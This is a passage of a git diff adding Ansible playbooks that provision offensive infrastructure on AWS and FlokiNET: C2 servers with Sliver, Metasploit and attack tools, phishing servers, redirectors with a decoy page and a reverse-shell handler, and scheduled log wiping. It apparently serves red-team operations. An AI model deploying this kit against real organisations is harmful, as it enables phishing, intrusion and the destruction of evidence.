}}" + infra_name: "infra-{{ deployment_id }}" + # Region settings + deployment_region: "{{ aws_region | default(aws_region_choices | random) }}" + # Check if using split regions (C2 and redirector in different regions) + split_regions: "{{ c2_region is defined and redirector_region is defined and c2_region != redirector_region }}" + # Check if only deploying one component (C2 only or redirector only) + single_component: "{{ c2_only | default(false) | bool or redirector_only | default(false) | bool }}" + + tasks: + - name: Validate AWS credentials + assert: + that: + - aws_access_key is defined and aws_access_key != "" + - aws_secret_key is defined and aws_secret_key != "" + fail_msg: "AWS credentials are required" + + - name: Skip shared infrastructure if using split regions + meta: end_play + when: split_regions | bool + + - name: Print infrastructure deployment info + debug: + msg: "Deploying shared infrastructure in {{ deployment_region }}" + when: not split_regions | bool and not single_component | bool + + - name: Check if deploying just C2 or just redirector + debug: + msg: "Skipping shared infrastructure for single component deployment ({{ 'C2 only' if c2_only | default(false) else 'Redirector only' }})" + when: single_component | bool + + - name: Skip shared infrastructure for single component deployment + meta: end_play + when: single_component | bool + + - name: Create shared VPC + amazon.aws.ec2_vpc_net: + name: "{{ infra_name }}-vpc" + cidr_block: "10.0.0.0/16" + region: "{{ deployment_region }}" + tags: + Name: "{{ infra_name }}-vpc" + deployment_id: "{{ deployment_id }}" + state: present + register: vpc_result + when: not split_regions | bool and not single_component | bool + + - name: Store shared VPC ID + set_fact: + shared_vpc_id: "{{ vpc_result.vpc.id }}" + when: not split_regions | bool and not single_component | bool and vpc_result is defined + + - name: Create internet gateway + amazon.aws.ec2_vpc_igw: + vpc_id: "{{ shared_vpc_id }}" + region: "{{ deployment_region }}" + state: present + tags: + Name: "{{ infra_name }}-igw" + deployment_id: "{{ deployment_id }}" + register: igw_result + when: not split_regions | bool and not single_component | bool and shared_vpc_id is defined + + - name: Create subnet + amazon.aws.ec2_vpc_subnet: + vpc_id: "{{ shared_vpc_id }}" + cidr: "10.0.1.0/24" + region: "{{ deployment_region }}" + az: "{{ deployment_region }}a" + map_public: yes + tags: + Name: "{{ infra_name }}-subnet" + deployment_id: "{{ deployment_id }}" + register: subnet_result + when: not split_regions | bool and not single_component | bool and shared_vpc_id is defined + + - name: Create routing table + amazon.aws.ec2_vpc_route_table: + vpc_id: "{{ shared_vpc_id }}" + region: "{{ deployment_region }}" + tags: + Name: "{{ infra_name }}-rtb" + deployment_id: "{{ deployment_id }}" + routes: + - dest: "0.0.0.0/0" + gateway_id: "{{ igw_result.gateway_id }}" + subnets: + - "{{ subnet_result.subnet.id }}" + register: route_table_result + when: not split_regions | bool and not single_component | bool and shared_vpc_id is defined and igw_result is defined and subnet_result is defined + + - name: Write infrastructure info to state file + copy: + content: | + { + "vpc_id": "{{ shared_vpc_id }}", + "subnet_id": "{{ subnet_result.subnet.id }}", + "igw_id": "{{ igw_result.gateway_id }}", + "region": "{{ deployment_region }}", + "deployment_id": "{{ deployment_id }}" + } + dest: "infrastructure_state.json" + mode: "0600" + when: not split_regions | bool and not single_component | bool and shared_vpc_id is defined and subnet_result is defined and igw_result is defined \ No newline at end of file diff --git a/providers/AWS/phishing.yml b/providers/AWS/phishing.yml new file mode 100644 index 0000000..3db2992 --- /dev/null +++ b/providers/AWS/phishing.yml @@ -0,0 +1,65 @@ +--- +# Phishing infrastructure deployment playbook +# This is a comprehensive playbook that handles all phishing components + +- name: Deploy Phishing Infrastructure + hosts: localhost + gather_facts: true + connection: local + vars_files: + - vars.yaml + + tasks: + - name: Display deployment information + debug: + msg: | + Deploying phishing infrastructure + Deployment ID: {{ deployment_id }} + Provider: {{ provider }} + Domain: {{ domain | default(phishing_domain) }} + Components: {{ deployment_type }} + + - name: Set deployment facts + set_fact: + deployment_timestamp: "{{ ansible_date_time.epoch }}" + phishing_deployment_results: {} + deployment_components: >- + {% set components = [] %} + {% if deployment_type in ['gophish_only', 'basic_phishing', 'advanced_phishing', 'full_phishing', 'fedramp_phishing'] %} + {% set _ = components.append('gophish') %} + {% endif %} + {% if deployment_type in ['mta_front_only', 'basic_phishing', 'advanced_phishing', 'full_phishing', 'ephemeral_mta'] %} + {% set _ = components.append('mta_front') %} + {% endif %} + {% if deployment_type in ['phishing_redirector_only', 'advanced_phishing', 'full_phishing'] %} + {% set _ = components.append('redirector') %} + {% endif %} + {% if deployment_type in ['phishing_webserver_only', 'full_phishing', 'fedramp_phishing'] %} + {% set _ = components.append('webserver') %} + {% endif %} + {{ components }} + + - name: Include provider-specific tasks + include_tasks: "{{ provider }}_phishing.yml" + when: deployment_components | length > 0 + + - name: Ensure logs directory exists + file: + path: "../../logs" + state: directory + mode: '0755' + delegate_to: localhost + + - name: Save deployment information + template: + src: phishing_deployment_info.j2 + dest: "{{ playbook_dir }}/logs/phishing_deployment_{{ deployment_id }}.json" + delegate_to: localhost + + - name: Display success message + debug: + msg: | + โœ… Phishing infrastructure deployment completed + Deployment ID: {{ deployment_id }} + Components deployed: {{ deployment_components | join(', ') }} + Check logs/phishing_deployment_{{ deployment_id }}.json for details diff --git a/providers/AWS/process_vpc.yml b/providers/AWS/process_vpc.yml new file mode 100644 index 0000000..caaf35a --- /dev/null +++ b/providers/AWS/process_vpc.yml @@ -0,0 +1,14 @@ +--- +# VPC Cleanup Process with enhanced dependency handling +# Removed detailed cleanup tasks for ENIs, RTs, IGWs, NATs, subnets, SGs to simplify deletion + +# Step X: Delete VPC directly +- name: Delete VPC {{ vpc_id }} + amazon.aws.ec2_vpc_net: + region: "{{ aws_region }}" + vpc_id: "{{ vpc_id }}" + state: absent + retries: 5 + delay: 15 + register: vpc_delete_result + until: vpc_delete_result is success \ No newline at end of file diff --git a/providers/AWS/redirector.yml b/providers/AWS/redirector.yml new file mode 100644 index 0000000..c87276b --- /dev/null +++ b/providers/AWS/redirector.yml @@ -0,0 +1,379 @@ +--- +# AWS Redirector Deployment Playbook + +- name: Deploy AWS redirector + hosts: localhost + gather_facts: false + connection: local + vars_files: + - vars.yaml + vars: + # Default values + ssh_user: "{{ ssh_user | default('ubuntu') }}" + aws_region: "{{ aws_region | default(aws_region_choices | random) }}" + instance_type: "{{ aws_instance_type | default('t2.micro') }}" + deployment_id: "{{ deployment_id | default('') }}" + redirector_name: "{{ redirector_name | default('r-' + deployment_id) }}" + effective_listen_port: "{{ shell_handler_port | default(4488) }}" + # Check for shared infrastructure + # Only use shared when C2 and redirector are in the same region + use_shared_infra: "{{ not (c2_region is defined and redirector_region is defined and c2_region != redirector_region) and not c2_only | default(false) | bool and not redirector_only | default(false) | bool }}" + # Ubuntu AMI IDs for different regions (Ubuntu 22.04 LTS) + ubuntu_ami_map: + us-east-1: "ami-0aa2b7722dc1b5612" + us-east-2: "ami-06c4532923d4ba1ec" + us-west-1: "ami-0573b70afecda915d" + us-west-2: "ami-0c79c59ac2c572b87" + eu-west-1: "ami-0694d931cee176e7d" + eu-west-2: "ami-0505148b3591e4c07" + eu-central-1: "ami-06dd92ecc74fdfb36" + ap-southeast-1: "ami-0df7a207adb9748c7" + ap-southeast-2: "ami-0df4b2961410d4cff" + ap-northeast-1: "ami-0014b5f031a76c1b1" + sa-east-1: "ami-0af6e9042ea5a4e3e" + + tasks: + - name: Validate AWS credentials + assert: + that: + - aws_access_key is defined and aws_access_key != "" + - aws_secret_key is defined and aws_secret_key != "" + fail_msg: "AWS credentials are required" + + # Set region for redirector - fix for noop task error + - name: Set region for redirector + set_fact: + aws_redirector_region: "{{ redirector_region | default(aws_region) }}" + + # Load shared infrastructure state if available - fixed implementation + - name: Check for shared infrastructure state + block: + - name: Check if state file exists + stat: + path: "infrastructure_state_{{ deployment_id }}.json" + register: infra_state_file + + - name: Include vars if file exists + include_vars: + file: "infrastructure_state_{{ deployment_id }}.json" + name: shared_infra + when: infra_state_file.stat.exists | default(false) + when: use_shared_infra | bool + + # After loading shared infrastructure state + - name: Validate shared VPC exists + amazon.aws.ec2_vpc_net_info: + region: "{{ shared_infra.region }}" + vpc_ids: + - "{{ shared_infra.vpc_id }}" + register: vpc_check + when: use_shared_infra | bool and infra_state_file.stat.exists | default(false) + ignore_errors: yes + + - name: Delete stale infrastructure state file + file: + path: "infrastructure_state.json" + state: absent + when: use_shared_infra | bool and vpc_check.vpcs is defined and vpc_check.vpcs | length == 0 + + - name: Disable shared infrastructure when VPC doesn't exist + set_fact: + use_shared_infra: false + when: use_shared_infra | bool and vpc_check.vpcs is defined and vpc_check.vpcs | length == 0 + + - name: Set region variables from shared infra + set_fact: + aws_redirector_region: "{{ shared_infra.region | default(aws_region) }}" + when: use_shared_infra | bool and infra_state_file.stat.exists | default(false) + + - name: Set AMI ID for selected region + set_fact: + ami_id: "{{ ubuntu_ami_map[aws_redirector_region] | default(ubuntu_ami_map['us-east-1']) }}" + + # Create new infrastructure only if not using shared + - name: Create VPC + amazon.aws.ec2_vpc_net: + name: "{{ redirector_name }}-vpc" + cidr_block: "10.0.0.0/16" + region: "{{ aws_redirector_region }}" + tags: + Name: "{{ redirector_name }}-vpc" + deployment_id: "{{ deployment_id }}" + state: present + register: vpc_result + when: not (use_shared_infra | bool and infra_state_file.stat.exists | default(false)) + + - name: Create internet gateway for VPC + amazon.aws.ec2_vpc_igw: + vpc_id: "{{ vpc_result.vpc.id }}" + region: "{{ aws_redirector_region }}" + state: present + tags: + Name: "{{ redirector_name }}-igw" + deployment_id: "{{ deployment_id }}" + register: igw_result + when: not (use_shared_infra | bool and infra_state_file.stat.exists | default(false)) + + - name: Create subnet in VPC + amazon.aws.ec2_vpc_subnet: + vpc_id: "{{ vpc_result.vpc.id }}" + cidr: "10.0.1.0/24" + region: "{{ aws_redirector_region }}" + az: "{{ aws_redirector_region }}a" + map_public: yes + tags: + Name: "{{ redirector_name }}-subnet" + deployment_id: "{{ deployment_id }}" + register: subnet_result + when: not (use_shared_infra | bool and infra_state_file.stat.exists | default(false)) + + - name: Create routing table for internet access + amazon.aws.ec2_vpc_route_table: + vpc_id: "{{ vpc_result.vpc.id }}" + region: "{{ aws_redirector_region }}" + tags: + Name: "{{ redirector_name }}-rtb" + deployment_id: "{{ deployment_id }}" + routes: + - dest: "0.0.0.0/0" + gateway_id: "{{ igw_result.gateway_id }}" + subnets: + - "{{ subnet_result.subnet.id }}" + register: route_table_result + when: not (use_shared_infra | bool and infra_state_file.stat.exists | default(false)) + + # Set VPC ID based on shared or created + - name: Set VPC ID from shared infrastructure + set_fact: + vpc_id: "{{ shared_infra.vpc_id }}" + subnet_id: "{{ shared_infra.subnet_id }}" + redirector_vpc_id: "{{ shared_infra.vpc_id }}" # Store for cleanup reference + when: use_shared_infra | bool and infra_state_file.stat.exists | default(false) + + - name: Set VPC ID from created infrastructure + set_fact: + vpc_id: "{{ vpc_result.vpc.id }}" + subnet_id: "{{ subnet_result.subnet.id }}" + redirector_vpc_id: "{{ vpc_result.vpc.id }}" # Store for cleanup reference + when: not (use_shared_infra | bool and infra_state_file.stat.exists | default(false)) + + - name: Set default c2_ip for redirector-only deployments + set_fact: + c2_ip: "{{ operator_ip }}" + when: redirector_only | default(false) | bool and c2_ip is not defined + + - name: Load c2_ip from infrastructure state + block: + - name: Check if infrastructure state file exists + stat: + path: "infrastructure_state_{{ deployment_id }}.json" + register: infra_state_check + + - name: Load infrastructure state + include_vars: + file: "infrastructure_state_{{ deployment_id }}.json" + name: infra_state + when: infra_state_check.stat.exists + + - name: Set c2 IP from infrastructure state + set_fact: + c2_ip: "{{ infra_state.c2_ip | default(operator_ip) }}" + when: infra_state_check.stat.exists and infra_state.c2_ip is defined + + - name: Debug c2 IP + debug: + msg: "Using c2 IP: {{ c2_ip | default('undefined') }}" + when: c2_ip is undefined + + - name: Default to operator IP if c2 IP is still undefined + set_fact: + c2_ip: "{{ operator_ip }}" + when: c2_ip is undefined + + - name: Create security group for redirector + amazon.aws.ec2_security_group: + name: "{{ redirector_name }}-sg" + description: "Security group for redirector {{ redirector_name }}" + vpc_id: "{{ vpc_id }}" + region: "{{ aws_redirector_region }}" + rules: + # Management access only from operator IP + - proto: tcp + ports: 22 + cidr_ip: "{{ operator_ip }}/32" + # Public-facing services are open to internet + - proto: tcp + ports: + - 80 + - 443 + - "{{ effective_listen_port }}" + cidr_ip: 0.0.0.0/0 + rules_egress: + - proto: -1 + cidr_ip: 0.0.0.0/0 + state: present + register: security_group + + # Save infrastructure state for reuse + - name: Save infrastructure state for reuse + copy: + content: | + { + "vpc_id": "{{ vpc_id }}", + "subnet_id": "{{ subnet_id }}", + "security_group_id": "{{ security_group.group_id }}", + "region": "{{ aws_redirector_region }}", + "deployment_id": "{{ deployment_id }}" + } + dest: "infrastructure_state_{{ deployment_id }}.json" + when: not (use_shared_infra | bool and infra_state_file.stat.exists | default(false)) + + # Generate or import SSH key for the deployment - FIXED KEY HANDLING + - name: Check if deployment SSH key already exists locally + stat: + path: "~/.ssh/c2deploy_{{ deployment_id }}.pem" + register: ssh_key_file + + - name: Generate SSH key pair if it doesn't exist + block: + - name: Create SSH key pair + command: ssh-keygen -t rsa -b 2048 -f ~/.ssh/c2deploy_{{ deployment_id }} -N "" + args: + creates: "~/.ssh/c2deploy_{{ deployment_id }}" + + - name: Rename private key to .pem format + command: mv ~/.ssh/c2deploy_{{ deployment_id }} ~/.ssh/c2deploy_{{ deployment_id }}.pem + args: + creates: "~/.ssh/c2deploy_{{ deployment_id }}.pem" + removes: "~/.ssh/c2deploy_{{ deployment_id }}" + when: not ssh_key_file.stat.exists + + - name: Ensure proper permissions on SSH key + file: + path: "~/.ssh/c2deploy_{{ deployment_id }}.pem" + mode: '0600' + state: file + + # Check if key pair exists in AWS + - name: Check if key pair exists in AWS + amazon.aws.ec2_key_info: + region: "{{ aws_redirector_region }}" + filters: + key-name: "c2deploy_{{ deployment_id }}" + register: existing_key_pair + + # Import SSH key to AWS - FIXED CONDITION + - name: Import SSH key to AWS + amazon.aws.ec2_key: + name: "c2deploy_{{ deployment_id }}" + key_material: "{{ lookup('file', '~/.ssh/c2deploy_{{ deployment_id }}.pub') }}" + region: "{{ aws_redirector_region }}" + state: present + when: existing_key_pair.keypairs | length == 0 + + # Launch the redirector instance + - name: Launch redirector instance + amazon.aws.ec2_instance: + name: "{{ redirector_name }}" + key_name: "c2deploy_{{ deployment_id }}" + instance_type: "{{ instance_type | default('t2.micro') }}" + vpc_subnet_id: "{{ subnet_id }}" + security_groups: + - "{{ security_group.group_id }}" + image_id: "{{ ami_id }}" + region: "{{ aws_redirector_region }}" + state: present + wait: yes + volumes: + - device_name: "/dev/xvda" + ebs: + volume_size: 20 + delete_on_termination: true + tags: + Name: "{{ redirector_name }}" + deployment_id: "{{ deployment_id }}" + register: redirector_instance + + - name: Set redirector_ip for later use + set_fact: + redirector_ip: "{{ redirector_instance.instances[0].public_ip_address }}" + redirector_instance_id: "{{ redirector_instance.instances[0].instance_id }}" + + - name: Display redirector instance details for debugging + debug: + msg: + - "Redirector IP: {{ redirector_ip }}" + - "Redirector Instance ID: {{ redirector_instance_id }}" + - "SSH User to use: {{ ssh_user }}" + - "SSH Key path: ~/.ssh/c2deploy_{{ deployment_id }}.pem" + + - name: Wait for instance initialization + pause: + seconds: 120 + when: redirector_instance.changed + + - name: Set correct permissions on SSH key + file: + path: "~/.ssh/c2deploy_{{ deployment_id }}.pem" + mode: "0600" + + - name: Wait for redirector SSH to be available + wait_for: + host: "{{ redirector_ip }}" + port: 22 + delay: 30 + timeout: 300 + state: started + + - name: Add redirector to inventory + add_host: + name: "redirector" + groups: "redirectors" + ansible_host: "{{ redirector_ip }}" + ansible_user: "ubuntu" + ansible_ssh_private_key_file: "~/.ssh/c2deploy_{{ deployment_id }}.pem" + ansible_ssh_common_args: "-o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o IdentitiesOnly=yes" + ansible_python_interpreter: "/usr/bin/python3" + shell_handler_port: "{{ effective_listen_port }}" + # Add necessary variables for redirector configuration + c2_ip: "{{ c2_ip }}" + domain: "{{ domain }}" + redirector_subdomain: "{{ redirector_subdomain }}" + havoc_teamserver_port: "{{ havoc_teamserver_port | default(40056) }}" + havoc_http_port: "{{ havoc_http_port | default(8080) }}" + havoc_https_port: "{{ havoc_https_port | default(443) }}" + zero_logs: "{{ zero_logs | default(true) }}" + +# Rest of the playbook for configuring the redirector +- name: Configure redirector + hosts: redirectors + become: true + gather_facts: true + vars_files: + - vars.yaml + vars: + c2_ip: "{{ hostvars['localhost']['c2_ip'] | default('127.0.0.1') }}" + shell_handler_port: "{{ hostvars['localhost']['effective_listen_port'] }}" + + # Include the rest of your redirector configuration tasks here + tasks: + - name: Include common redirector configuration tasks + include_tasks: "../../modules/redirectors/tasks/configure_redirector.yml" + + - name: Configure shell handler script with listening port + template: + src: "../../modules/c2/files/havoc_shell_handler.sh" + dest: "/root/Tools/shell_handler.sh" + mode: 0755 + vars: + listen_port: "{{ effective_listen_port }}" + + - name: Print deployment summary + debug: + msg: + - "Redirector Deployment Complete!" + - "-----------------------------" + - "Redirector IP: {{ ansible_host }}" + - "Redirector Domain: {{ redirector_subdomain | default('cdn') }}.{{ domain }} (Update DNS A record)" + - "SSH Key: ~/.ssh/c2deploy_{{ hostvars['localhost']['deployment_id'] }}.pem" + when: not disable_summary | default(false) \ No newline at end of file diff --git a/providers/AWS/templates/phishing_deployment_info.j2 b/providers/AWS/templates/phishing_deployment_info.j2 new file mode 100644 index 0000000..175d4f4 --- /dev/null +++ b/providers/AWS/templates/phishing_deployment_info.j2 @@ -0,0 +1,10 @@ +{ + "deployment_id": "{{ deployment_id }}", + "deployment_type": "{{ deployment_type }}", + "provider": "{{ provider }}", + "domain": "{{ phishing_domain | default(domain) }}", + "timestamp": "{{ ansible_date_time.iso8601 }}", + "components": {{ deployment_components | to_json }}, + "results": {{ phishing_deployment_results | default({}) | to_json }}, + "status": "completed" +} diff --git a/providers/AWS/webrunner_provision_tasks.yml b/providers/AWS/webrunner_provision_tasks.yml new file mode 100644 index 0000000..5af448e --- /dev/null +++ b/providers/AWS/webrunner_provision_tasks.yml @@ -0,0 +1,98 @@ +--- +# AWS provision tasks for one WEBRUNNER node +# Called in a loop โ€” loop_var: node_chunk +# Requires: aws_access_key, aws_secret_key, aws_region, aws_instance_type, +# ssh_key_name, webrunner_name, deployment_id, operator_ip, +# scanner_ip_log, results_dir + +- name: Read public key for {{ node_chunk.node_name }} + slurp: + src: "~/.ssh/{{ ssh_key_name }}.pub" + register: wr_pubkey_aws + +- name: Import SSH key to AWS ({{ node_chunk.node_name }}) + amazon.aws.ec2_key: + name: "{{ webrunner_name }}" + key_material: "{{ wr_pubkey_aws.content | b64decode | trim }}" + region: "{{ aws_region | default('us-east-1') }}" + aws_access_key: "{{ aws_access_key }}" + aws_secret_key: "{{ aws_secret_key }}" + state: present + ignore_errors: true + +- name: Create security group for {{ node_chunk.node_name }} + amazon.aws.ec2_security_group: + name: "wr-{{ deployment_id }}-sg" + description: "WEBRUNNER {{ deployment_id }} scanner nodes" + region: "{{ aws_region | default('us-east-1') }}" + aws_access_key: "{{ aws_access_key }}" + aws_secret_key: "{{ aws_secret_key }}" + rules: + - proto: tcp + ports: [22] + cidr_ip: "{{ operator_ip | default('0.0.0.0/0') }}/32" + rules_egress: + - proto: all + cidr_ip: "0.0.0.0/0" + tags: + Name: "wr-{{ deployment_id }}-sg" + DeploymentID: "{{ deployment_id }}" + state: present + register: wr_sg + ignore_errors: true + +- name: Launch EC2 instance {{ node_chunk.node_name }} + amazon.aws.ec2_instance: + name: "{{ node_chunk.node_name }}" + key_name: "{{ webrunner_name }}" + instance_type: "{{ aws_instance_type | default('t3.small') }}" + image_id: "{{ aws_ami | default('ami-0c55b159cbfafe1f0') }}" + region: "{{ aws_region | default('us-east-1') }}" + aws_access_key: "{{ aws_access_key }}" + aws_secret_key: "{{ aws_secret_key }}" + security_group: "wr-{{ deployment_id }}-sg" + network: + assign_public_ip: true + tags: + Name: "{{ node_chunk.node_name }}" + DeploymentID: "{{ deployment_id }}" + webrunner: "{{ webrunner_name }}" + wait: true + state: running + register: wr_ec2 + +- name: Extract EC2 public IP + set_fact: + wr_node_ip: "{{ wr_ec2.instances[0].public_ip_address }}" + +- name: Log scanner IP + lineinfile: + path: "{{ scanner_ip_log }}" + line: "{{ node_chunk.node_name }}: {{ wr_node_ip }}" + create: true + +- name: Wait for SSH on {{ node_chunk.node_name }} ({{ wr_node_ip }}) + wait_for: + host: "{{ wr_node_ip }}" + port: 22 + delay: 30 + timeout: 300 + +- name: Add {{ node_chunk.node_name }} to inventory + add_host: + name: "{{ wr_node_ip }}" + groups: webrunner_nodes + ansible_host: "{{ wr_node_ip }}" + ansible_user: admin + ansible_ssh_private_key_file: "~/.ssh/{{ ssh_key_name }}" + ansible_ssh_common_args: "-o StrictHostKeyChecking=no" + node_name: "{{ node_chunk.node_name }}" + node_cidrs: "{{ node_chunk.cidrs }}" + node_ip_count: "{{ node_chunk.ip_count }}" + node_idx: "{{ node_chunk.idx }}" + ec2_instance_id: "{{ wr_ec2.instances[0].instance_id }}" + provider: aws + +- name: Show {{ node_chunk.node_name }} ready + debug: + msg: "AWS node ready: {{ node_chunk.node_name }} @ {{ wr_node_ip }} ({{ node_chunk.ip_count | int | string }} IPs)" diff --git a/providers/FlokiNET/c2-deploy.yaml b/providers/FlokiNET/c2-deploy.yaml new file mode 100644 index 0000000..6c67b6c --- /dev/null +++ b/providers/FlokiNET/c2-deploy.yaml @@ -0,0 +1,634 @@ +--- +# FlokiNET full deployment playbook (C2 + Redirector) + +- name: Prepare FlokiNET infrastructure deployment + hosts: localhost + gather_facts: false + connection: local + vars_files: + - vars.yaml + vars: + # Generate random shell handler port if not provided + shell_handler_port: "{{ shell_handler_port | default(4000 + 60000 | random) }}" + redirector_subdomain: "{{ redirector_subdomain | default('cdn') }}" + c2_subdomain: "{{ c2_subdomain | default('mail') }}" + + tasks: + - name: Validate required FlokiNET configuration + assert: + that: + - redirector_ip is defined and redirector_ip != "" + - c2_ip is defined and c2_ip != "" + fail_msg: "FlokiNET requires both redirector_ip and c2_ip. Set these values in vars.yaml or via command line arguments." + + - name: Add redirector to inventory + add_host: + name: "redirector" + groups: "redirectors" + ansible_host: "{{ redirector_ip }}" + ansible_user: "{{ ssh_user | default('root') }}" + ansible_ssh_private_key_file: "{{ ssh_key_path | replace('.pub', '') }}" + ansible_ssh_port: "{{ ssh_port | default(22) }}" + ansible_ssh_common_args: "-o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null" + + - name: Add C2 server to inventory + add_host: + name: "c2" + groups: "c2servers" + ansible_host: "{{ c2_ip }}" + ansible_user: "{{ ssh_user | default('root') }}" + ansible_ssh_private_key_file: "{{ ssh_key_path | replace('.pub', '') }}" + ansible_ssh_port: "{{ ssh_port | default(22) }}" + ansible_ssh_common_args: "-o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null" + + - name: Verify SSH connection to redirector + wait_for: + host: "{{ redirector_ip }}" + port: "{{ ssh_port | default(22) }}" + delay: 10 + timeout: 60 + state: started + ignore_errors: true + + - name: Verify SSH connection to C2 server + wait_for: + host: "{{ c2_ip }}" + port: "{{ ssh_port | default(22) }}" + delay: 10 + timeout: 60 + state: started + ignore_errors: true + +- name: Configure FlokiNET redirector + hosts: redirectors + become: true + gather_facts: true + vars_files: + - vars.yaml + tasks: + - name: Wait for apt to be available + apt: + update_cache: yes + register: apt_result + until: apt_result is success + retries: 5 + delay: 10 + + - name: Set hostname + hostname: + name: "redirector" + + - name: Update apt cache + apt: + update_cache: yes + + - name: Upgrade all packages + apt: + upgrade: dist + + - name: Install base utilities and tools via apt + apt: + name: + - git + - wget + - curl + - unzip + - python3-pip + - python3-virtualenv + - tmux + - pipx + - nmap + - tcpdump + - nginx + - certbot + - python3-certbot-nginx + - socat + - netcat-openbsd + - secure-delete + state: present + + - name: Set a custom MOTD + template: + src: motd-flokinet.j2 + dest: /etc/motd + owner: root + group: root + mode: '0644' + vars: + letsencrypt_email: "{{ letsencrypt_email }}" + domain: "{{ domain }}" + redirector_subdomain: "{{ redirector_subdomain }}" + + - name: Create directories for operational scripts + file: + path: "{{ item }}" + state: directory + mode: '0700' + owner: root + group: root + with_items: + - /opt/c2 + - /opt/shell-handler + + - name: Copy clean-logs.sh script + copy: + src: "../../common/files/clean-logs.sh" + dest: /opt/c2/clean-logs.sh + mode: '0700' + owner: root + group: root + + - name: Copy secure-exit.sh script + copy: + src: "../../common/files/secure-exit.sh" + dest: /opt/c2/secure-exit.sh + mode: '0700' + owner: root + group: root + + - name: Copy shell handler script + copy: + src: "../../common/files/persistent-listener.sh" + dest: /opt/shell-handler/persistent-listener.sh + mode: '0700' + owner: root + group: root + + - name: Configure shell handler script with C2 IP + replace: + path: /opt/shell-handler/persistent-listener.sh + regexp: 'C2_HOST="127.0.0.1"' + replace: 'C2_HOST="{{ c2_ip }}"' + + - name: Configure shell handler script with listening port + replace: + path: /opt/shell-handler/persistent-listener.sh + regexp: 'LISTEN_PORT=4444' + replace: 'LISTEN_PORT={{ shell_handler_port }}' + + - name: Create shell handler service + template: + src: shell-handler.service.j2 + dest: /etc/systemd/system/shell-handler.service + mode: '0644' + owner: root + group: root + + - name: Configure NGINX for zero-logging if enabled + template: + src: nginx.conf.j2 + dest: /etc/nginx/nginx.conf + mode: '0644' + owner: root + group: root + when: zero_logs | bool + + - name: Configure NGINX for C2 redirection + template: + src: redirector-site.conf.j2 + dest: /etc/nginx/sites-available/default + mode: '0644' + owner: root + group: root + + - name: Create legitimate-looking index.html + template: + src: redirector-index.html.j2 + dest: /var/www/html/index.html + mode: '0644' + owner: www-data + group: www-data + + - name: Start and enable shell handler service + systemd: + name: shell-handler + state: started + enabled: yes + daemon_reload: yes + + - name: Set up cron job for log cleaning if zero-logs enabled + cron: + name: "Clean logs" + minute: "0" + hour: "*/6" + job: "/opt/c2/clean-logs.sh > /dev/null 2>&1" + when: zero_logs | bool + + - name: Install Let's Encrypt certificate if domain specified + shell: | + certbot --nginx -d {{ redirector_subdomain }}.{{ domain }} --non-interactive --agree-tos -m {{ letsencrypt_email }} + args: + creates: /etc/letsencrypt/live/{{ redirector_subdomain }}.{{ domain }}/fullchain.pem + when: domain != "example.com" + + - name: Restart NGINX + systemd: + name: nginx + state: restarted + + - name: FlokiNET-specific security configurations + include_tasks: flokinet-security.yml + when: enable_hardened_security | default(true) + +- name: Configure FlokiNET C2 server + hosts: c2servers + become: true + gather_facts: true + vars_files: + - vars.yaml + tasks: + - name: Wait for apt to be available + apt: + update_cache: yes + register: apt_result + until: apt_result is success + retries: 5 + delay: 10 + + - name: Set hostname + hostname: + name: "c2" + + - name: Update apt cache + apt: + update_cache: yes + + - name: Upgrade all packages + apt: + upgrade: dist + + - name: Set a custom MOTD + template: + src: motd-flokinet.j2 + dest: /etc/motd + owner: root + group: root + mode: '0644' + vars: + letsencrypt_email: "{{ letsencrypt_email }}" + domain: "{{ domain }}" + c2_subdomain: "{{ c2_subdomain }}" + + - name: Install base utilities and tools via apt + apt: + name: + - git + - wget + - curl + - unzip + - python3-pip + - python3-virtualenv + - tmux + - pipx + - nmap + - tcpdump + - hydra + - john + - hashcat + - sqlmap + - gobuster + - dirb + - enum4linux + - dnsenum + - seclists + - responder + - golang + - proxychains + - tor + - crackmapexec + - jq + - unzip + - postfix + - certbot + - opendkim + - opendkim-tools + - dovecot-core + - dovecot-imapd + - dovecot-pop3d + - dovecot-sieve + - dovecot-managesieved + - yq + state: present + + - name: Create Tools directory + file: + path: /root/Tools + state: directory + owner: root + group: root + mode: '0755' + + - name: Ensure pipx path is configured + shell: | + pipx ensurepath + args: + executable: /bin/bash + + - name: Install tools via pipx + shell: | + export PATH=$PATH:/root/.local/bin + pipx ensurepath + pipx install git+https://github.com/Pennyw0rth/NetExec + pipx install git+https://github.com/blacklanternsecurity/TREVORspray + pipx install impacket + args: + executable: /bin/bash + + - name: Download Kerbrute + shell: | + mkdir -p ~/Tools/Kerbrute + wget https://github.com/ropnop/kerbrute/releases/latest/download/kerbrute_linux_amd64 -O ~/Tools/Kerbrute/kerbrute + chmod +x ~/Tools/Kerbrute/kerbrute + args: + executable: /bin/bash + creates: /root/Tools/Kerbrute/kerbrute + + - name: Clone SharpCollection nightly builds + git: + repo: https://github.com/Flangvik/SharpCollection.git + dest: ~/Tools/SharpCollection + version: master + ignore_errors: yes + + - name: Clone PEASS-ng + git: + repo: https://github.com/carlospolop/PEASS-ng.git + dest: ~/Tools/PEASS-ng + ignore_errors: yes + + - name: Clone MailSniper + git: + repo: https://github.com/dafthack/MailSniper.git + dest: ~/Tools/MailSniper + ignore_errors: yes + + - name: Clone Inveigh + git: + repo: https://github.com/Kevin-Robertson/Inveigh.git + dest: ~/Tools/Inveigh + ignore_errors: yes + + - name: Install Sliver C2 server + shell: | + curl https://sliver.sh/install | bash + systemctl enable sliver + systemctl start sliver + + - name: Install Metasploit Framework (Nightly Build) + shell: | + curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > ~/Tools/msfinstall + chmod 755 ~/Tools/msfinstall + ~/Tools/msfinstall + args: + executable: /bin/bash + creates: /usr/bin/msfconsole + + - name: Grab GoPhish + shell: | + curl -L "$(curl -s https://api.github.com/repos/gophish/gophish/releases/latest | jq -r '.assets[] | select(.browser_download_url | contains("linux-64bit.zip")) | .browser_download_url')" -o ~/Tools/gophish.zip + unzip ~/Tools/gophish.zip -d ~/Tools/gophish + rm -rf ~/Tools/gophish.zip + chmod +x ~/Tools/gophish/gophish + args: + creates: /root/Tools/gophish/gophish + + - name: Deploy Gophish config.json with custom admin port + template: + src: gophish-config.j2 + dest: ~/Tools/gophish/config.json + owner: root + group: root + mode: '0644' + vars: + gophish_admin_port: "{{ gophish_admin_port }}" + domain: "{{ domain }}" + + - name: Configure Postfix main.cf + lineinfile: + path: 